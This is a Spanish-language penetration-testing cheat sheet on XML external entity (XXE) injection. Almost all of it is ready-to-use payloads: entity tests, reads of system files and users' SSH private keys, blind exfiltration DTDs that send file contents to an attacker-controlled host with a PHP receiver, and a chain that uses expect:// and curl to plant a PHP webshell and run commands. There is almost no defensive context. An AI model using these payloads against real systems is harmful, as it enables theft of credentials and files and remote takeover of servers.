XML external entity (XXE) injection

Identificación XXE

General

<?xml version="1.0" encoding="UTF-8"?>
<root>
    <name>MrW0l05zyn</name>
    <email>example@example.com</email>
    <tel>112233</tel>
</root>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe "XXE PoC">]>
<root>
    <name>&xxe;</name>
    <email>example@example.com</email>
    <tel>112233</tel>
</root>

Out of bound (blind)

Máquina atacante.

nc -lvnp <listen-port>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'http://<attacker-IP-address>:<listen-port>'>]>
<root>
    <name>&xxe;</name>
    <email>example@example.com</email>
    <tel>112233</tel>
</root>

Lectura de archivos

Lectura de archivo general

# Linux/Unix
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///etc/hosts'>]>
<element>&xxe;</element>

# Windows
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///C:/Windows/win.ini'>]>
<element>&xxe;</element>

Lectura de archivo id_rsa

Lectura de archivo id_rsa correspondiente a llave privada de usuario del servicio SSH (Secure SHell).

# Linux/Unix
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///home/<user>/.ssh/id_rsa'>]>
<element>&xxe;</element>

# Windows
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///C:/Users/<user>/.ssh/id_rsa'>]>
<element>&xxe;</element>

Lectura de archivo PHP

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=<file>">]>
<element>&xxe;</element>

Lectura de archivo utilizando CDATA

Creación de archivo DTD (Document Type Definition).

xxe.dtd
echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd

Habilitación de servidor HTTP para compartir el archivo xxe.dtd.

python -m SimpleHTTPServer <port>
python3 -m http.server <port>

Lectura de archivo.

Es posible que no podamos leer algunos archivos (como index.php), ya que el servidor web evitaría un ataque de DOS causado por la autorreferencia de archivo/entidad (es decir, bucle de referencia de entidad XML).

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY % begin "<![CDATA[">
    <!ENTITY % file SYSTEM "file:///etc/hosts">
    <!ENTITY % end "]]>">
    <!ENTITY % xxe SYSTEM "http://<attacker-IP-address>/xxe.dtd">
    %xxe;
]>
<root>
    <name>&joined;</name>
    <email>example@example.com</email>
    <tel>112233</tel>
</root>

Lectura de archivo basado en error

Creación de archivo DTD (Document Type Definition).

xxe.dtd
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY &#37; exfil SYSTEM '%EntidadNoExistente;/%file;'>">
%error;
%exfil;

Habilitación de servidor HTTP para compartir el archivo xxe.dtd.

python -m SimpleHTTPServer <port>
python3 -m http.server <port>

Lectura de archivo.

<!DOCTYPE root [ 
    <!ENTITY % remote SYSTEM "http://<attacker-IP-address>/xxe.dtd">
    %remote;
]>

Lectura de archivo basado en XInclude

<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/hosts"/></root>

Lectura de archivo "out of bound" (blind)

HTTP

Creación de archivo DTD (Document Type Definition).

xxe.dtd
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % oob "<!ENTITY &#37; exfil SYSTEM 'http://<attacker-IP-address>/?content=%file;'>" >

Habilitación de servidor PHP.

php -S 0.0.0.0:80

Lectura de archivo.

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE root [ 
    <!ENTITY % remote SYSTEM "http://<attacker-IP-address>/xxe.dtd">
    %remote;
    %oob;
    %exfil;
]>
<root></root>

PHP (protocol)

Creación de archivo DTD (Document Type Definition).

xxe.dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/hosts">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://<attacker-IP-address>/?content=%file;'>">

Creación de archivo index.php.

index.php
<?php
if(isset($_GET['content'])){
    error_log("\n\n" . base64_decode($_GET['content']));
}
?>

Habilitación de servidor PHP.

php -S 0.0.0.0:80

Lectura de archivo.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ 
    <!ENTITY % remote SYSTEM "http://<attacker-IP-address>/xxe.dtd">
    %remote;
    %oob;
]>
<root>&content;</root>

XML external entity (XXE) injection a Remote Code Execution (RCE)

Wrapper expect://

Creación de webshell.

webshell.php
<?php system($_GET['cmd']); ?>

Habilitación de servidor HTTP para compartir el archivo webshell.php.

python -m SimpleHTTPServer <port>
python3 -m http.server <port>

Ejecución de cURL para descargar archivo webshell.php en el servidor.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY xxe SYSTEM "expect://curl$IFS-O$IFS'<attacker-IP-address>/webshell.php'">
]>
<root>
    <name>&xxe;</name>
    <email>example@example.com</email>
    <tel>112233</tel>
</root>

Ejecución de comandos.

http://<target>/webshell.php?cmd=id

Última actualización